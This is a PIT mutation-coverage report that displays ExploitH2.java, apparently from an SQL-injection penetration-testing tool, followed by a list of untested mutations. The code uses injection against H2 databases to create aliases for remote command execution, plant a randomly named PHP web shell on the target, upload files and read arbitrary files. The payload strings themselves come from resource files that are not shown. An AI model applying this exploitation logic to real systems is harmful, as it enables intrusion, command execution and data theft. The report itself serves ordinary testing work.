ExploitH2.java

1
package com.jsql.model.accessible.engine;
2
3
import com.jsql.model.InjectionModel;
4
import com.jsql.model.accessible.DataAccess;
5
import com.jsql.model.accessible.ResourceAccess;
6
import com.jsql.model.accessible.engine.h2.ModelYamlH2;
7
import com.jsql.model.bean.database.MockElement;
8
import com.jsql.model.suspendable.Input;
9
import com.jsql.view.subscriber.Seal;
10
import com.jsql.model.exception.AbstractSlidingException;
11
import com.jsql.model.exception.JSqlException;
12
import com.jsql.model.exception.JSqlRuntimeException;
13
import com.jsql.model.suspendable.SuspendableGetRows;
14
import com.jsql.util.LogLevelUtil;
15
import com.jsql.util.StringUtil;
16
import org.apache.commons.lang3.RandomStringUtils;
17
import org.apache.commons.lang3.StringUtils;
18
import org.apache.logging.log4j.LogManager;
19
import org.apache.logging.log4j.Logger;
20
import org.yaml.snakeyaml.Yaml;
21
22
import java.io.File;
23
import java.io.FileInputStream;
24
import java.io.IOException;
25
import java.io.InputStream;
26
import java.net.http.HttpResponse;
27
import java.util.UUID;
28
import java.util.function.BinaryOperator;
29
30
public class ExploitH2 {
31
32
    private static final Logger LOGGER = LogManager.getRootLogger();
33
    private final InjectionModel injectionModel;
34
    private final ModelYamlH2 modelYaml;
35
36
    public ExploitH2(InjectionModel injectionModel) {
37
        this.injectionModel = injectionModel;
38
        var yaml = new Yaml();
39
        this.modelYaml = yaml.loadAs(
40
            injectionModel.getMediatorEngine().getH2().instance().getModelYaml().getResource().getExploit(),
41
            ModelYamlH2.class
42
        );
43
    }
44
45
    public void createUdf() throws JSqlException {
46
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query");
47
48
        this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getDropAlias(), "alias#drop");
49
        this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getCreateAlias(), "alias#create");
50
        var result = this.injectionModel.getResourceAccess().getResult(String.format(
51
            this.modelYaml.getRce().getRunCmd(),
52
            ResourceAccess.WEB_CONFIRM_CMD +"%20"
53
        ), ResourceAccess.RUN_FUNC);
54 1 1. createUdf : negated conditional → NO_COVERAGE
        if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
55
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
56 1 1. createUdf : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
57
                (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitH2().runRce(command, terminalID)
58
            ));
59
        }
60
    }
61
62
    public String runRce(String command, UUID uuidShell) {
63
        String result;
64
        try {
65
            result = this.injectionModel.getResourceAccess().getResult(String.format(
66
                this.modelYaml.getRce().getRunCmd(),
67
                command.replace(StringUtils.SPACE, "%20")
68
            ), ResourceAccess.RUN_FUNC);
69
        } catch (JSqlException e) {
70
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
71
        }
72 1 1. runRce : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(
73
            uuidShell,
74
            result.trim() +"\n"  // missing newline on some extensions
75
        ));
76 1 1. runRce : replaced return value with "" for com/jsql/model/accessible/engine/ExploitH2::runRce → NO_COVERAGE
        return result;
77
    }
78
79
    public String createWeb(String pathExploit, String urlExploit) {
80
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");
81
82
        String bodyExploit = StringUtil.base64Decode(
83
                this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
84
            )
85
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
86
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
87
88
        var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
89
        this.injectionModel.injectWithoutIndex(String.format(
90
            this.modelYaml.getRce().getCreateTable(),
91
            nameTable,
92
            nameTable, bodyExploit.replace("'", "\"")
93
        ), ResourceAccess.TBL_CREATE);
94
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
95
        this.injectionModel.injectWithoutIndex(String.format(
96
            this.modelYaml.getRce().getScriptSimple(),
97
            pathExploit + nameExploit,
98
            nameTable
99
        ), ResourceAccess.TBL_DUMP);
100
101
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
102
            String result = this.injectionModel.getResourceAccess().callCommand(
103
                urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
104
            );
105 1 1. lambda$createWeb$1 : negated conditional → NO_COVERAGE
            if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
106
                LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
107
                return StringUtils.EMPTY;
108
            }
109 1 1. lambda$createWeb$1 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
110 1 1. lambda$createWeb$1 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitH2::lambda$createWeb$1 → NO_COVERAGE
            return urlSuccess;
111
        };
112
113 1 1. createWeb : replaced return value with "" for com/jsql/model/accessible/engine/ExploitH2::createWeb → NO_COVERAGE
        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
114
    }
115
116
    public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
117
        String bodyExploit = StringUtil.base64Decode(
118
                this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
119
            )
120
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
121
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
122
123
        var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
124
        this.injectionModel.injectWithoutIndex(String.format(
125
            this.modelYaml.getRce().getCreateTable(),
126
            nameTable,
127
            nameTable, bodyExploit.replace("'", "\"")
128
        ), ResourceAccess.TBL_CREATE);
129
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
130
        this.injectionModel.injectWithoutIndex(String.format(
131
            this.modelYaml.getRce().getScriptSimple(),
132
            pathExploit + nameExploit,
133
            nameTable
134
        ), ResourceAccess.TBL_DUMP);
135
136
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
137
            try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
138
                HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
139 1 1. lambda$createUpload$2 : negated conditional → NO_COVERAGE
                if (result.body().contains(DataAccess.LEAD +"y")) {
140
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
141
                } else {
142
                    LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
143
                }
144
            } catch (InterruptedException e) {
145
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
146 1 1. lambda$createUpload$2 : removed call to java/lang/Thread::interrupt → NO_COVERAGE
                Thread.currentThread().interrupt();
147
            } catch (IOException | JSqlException e) {
148
                throw new JSqlRuntimeException(e);
149
            }
150 1 1. lambda$createUpload$2 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitH2::lambda$createUpload$2 → NO_COVERAGE
            return urlSuccess;
151
        };
152
153
        this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
154
    }
155
156
    public String getRead(String pathFile) throws AbstractSlidingException {
157 1 1. getRead : replaced return value with "" for com/jsql/model/accessible/engine/ExploitH2::getRead → NO_COVERAGE
        return new SuspendableGetRows(this.injectionModel).run(new Input(
158
            String.format(
159
                this.injectionModel.getResourceAccess().getExploitH2().getModelYaml().getFile().getReadFromPath(),
160
                pathFile
161
            ),
162
            new String[]{ StringUtils.EMPTY },
163
            false,
164
            1,
165
            MockElement.MOCK,
166
            ResourceAccess.FILE_READ
167
        ));
168
    }
169
170
    public ModelYamlH2 getModelYaml() {
171 1 1. getModelYaml : replaced return value with null for com/jsql/model/accessible/engine/ExploitH2::getModelYaml → NO_COVERAGE
        return this.modelYaml;
172
    }
173
}

Mutations

54

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

56

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

72

1.1
Location : runRce
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

76

1.1
Location : runRce
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitH2::runRce → NO_COVERAGE

105

1.1
Location : lambda$createWeb$1
Killed by : none
negated conditional → NO_COVERAGE

109

1.1
Location : lambda$createWeb$1
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

110

1.1
Location : lambda$createWeb$1
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitH2::lambda$createWeb$1 → NO_COVERAGE

113

1.1
Location : createWeb
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitH2::createWeb → NO_COVERAGE

139

1.1
Location : lambda$createUpload$2
Killed by : none
negated conditional → NO_COVERAGE

146

1.1
Location : lambda$createUpload$2
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

150

1.1
Location : lambda$createUpload$2
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitH2::lambda$createUpload$2 → NO_COVERAGE

157

1.1
Location : getRead
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitH2::getRead → NO_COVERAGE

171

1.1
Location : getModelYaml
Killed by : none
replaced return value with null for com/jsql/model/accessible/engine/ExploitH2::getModelYaml → NO_COVERAGE

Active mutators

Tests examined


Report generated by PIT 1.22.1